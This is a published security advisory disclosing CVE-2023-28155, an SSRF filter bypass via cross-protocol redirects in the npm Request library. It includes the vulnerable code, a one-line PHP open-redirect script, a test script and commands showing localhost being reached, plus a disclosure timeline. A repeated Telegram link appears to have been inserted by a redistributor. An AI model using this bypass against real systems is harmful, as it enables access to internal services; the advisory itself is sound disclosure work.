Security Advisory
Request Library SSRF Protection Bypass

Created by Szymon Drosdzol
03/16/2023

https://t.me/learningnets

Overview

This document summarizes the results of a vulnerability research activity in the Request library (https://www.npmjs.com/package/request) used by one of our clients as a third party dependency.

While security testing was not meant to be comprehensive in term of attack and code coverage, we have identified a vulnerability that could lead to Server Side Request Forgery attacks, even when the anti SSRF protection is in place.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

Copyright 2023. Doyensec LLC. All rights reserved.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given. The information in the advisory is believed to be accurate at the time of publishing based on currently available information, and it is provided as-is, as a free service to the community by Doyensec LLC. There are no warranties with regard to this information, and Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

https://t.me/learningnets

Server Side Request Forgery in the Requests Library	
Vendor	https://github.com/request/request
Severity	**High**
Vulnerability Class	Server-Side Request Forgery (SSRF)
Component	HTTP Agent
Status	Open
CVE	CVE-2023-28155
Credits	Szymon Drosdzol

Summary

A Server Side Request Forgery (SSRF) attack describes the ability of an attacker to create network connections from a vulnerable web application to the internal network and other Internet hosts. Frequently, a SSRF vulnerability is used to attack internal services placed behind a firewall and not directly accessible from the Internet.

NPM's Request library can be leveraged to initiate an HTTP / HTTPS connection. Even when configured with anti-SSRF protections, this library allows access to restricted hosts via a cross-protocol redirect bypass vulnerability.

Technical Description

Commonly, SSRF filters for JavaScript HTTP clients utilize the HTTP(S) agents to hook the `onConnect` event and filter the target hosts before the communication has been initialized. In the case of a redirect with a protocol switch (eg. HTTP redirecting to HTTPS or vice versa), the `request` library deletes all configured agents. As a result, all event listeners and anti-SSRF mechanisms are also voided.

This behavior can be observed in the file `lib/redirect.js`:

```
// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
  delete request.agent
}
```

Reproduction Steps

The issue can be demonstrated using the following steps:

1. Prepare an attacker-controlled server with the ability to redirect to arbitrary URLs. Example PHP script:

```
<?php  header('Location: '.$_GET["target"]); ?>
```


https://t.me/learningnets

2. Set up a local HTTP server.

```
$ python3 -m http.server 80
```

3. Prepare a test script with anti-SSRF protection plugged into request library:

```
const request = require('request');
const ssrfFilter = require('ssrf-req-filter');

let url = process.argv[2];
console.log("Testing", url);

request({
    uri: url,
    agent: ssrfFilter(url),
});

console.log("OK");
```

4. For the sake of this example, we have placed the redirect script on `tellico.fun`. Verify that in the case of a redirect without protocol switch, the SSRF attempt is blocked:

```
$ node dev/request.js "https://tellico.fun/redirect.php?target=https://
localhost/test"
Testing https://tellico.fun/redirect.php?target=https://localhost/test
events.js:353
      throw er; // Unhandled 'error' event
      ^

Error: Call to 127.0.0.1 is blocked.
```

5. Verify that in the case of cross-protocol redirect, the SSRF is still possible:

```
$ node dev/request.js "https://tellico.fun/redirect.php?target=http://localhost/
test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
OK
```

Remediation

Despite the fact that the `request` library has been deprecated, this dependency is still used by over 50k projects with over 18M downloads per week.

The maintainer did not reply to our advisory, so there is not an official release that would fix this issue (at the time of publication of this document). Doyensec has proposed a potential fix in https://github.com/request/request/pull/3444.

Disclosure Timeline

12/05/2022 - First disclosure to the maintainer
01/18/2023 - Another attempt to contact the maintainer

https://t.me/learningnets

03/13/2023 - CVE-2023-28155 assigned
03/16/2023 - Disclosure of the technical details (> 90 days)

https://t.me/learningnets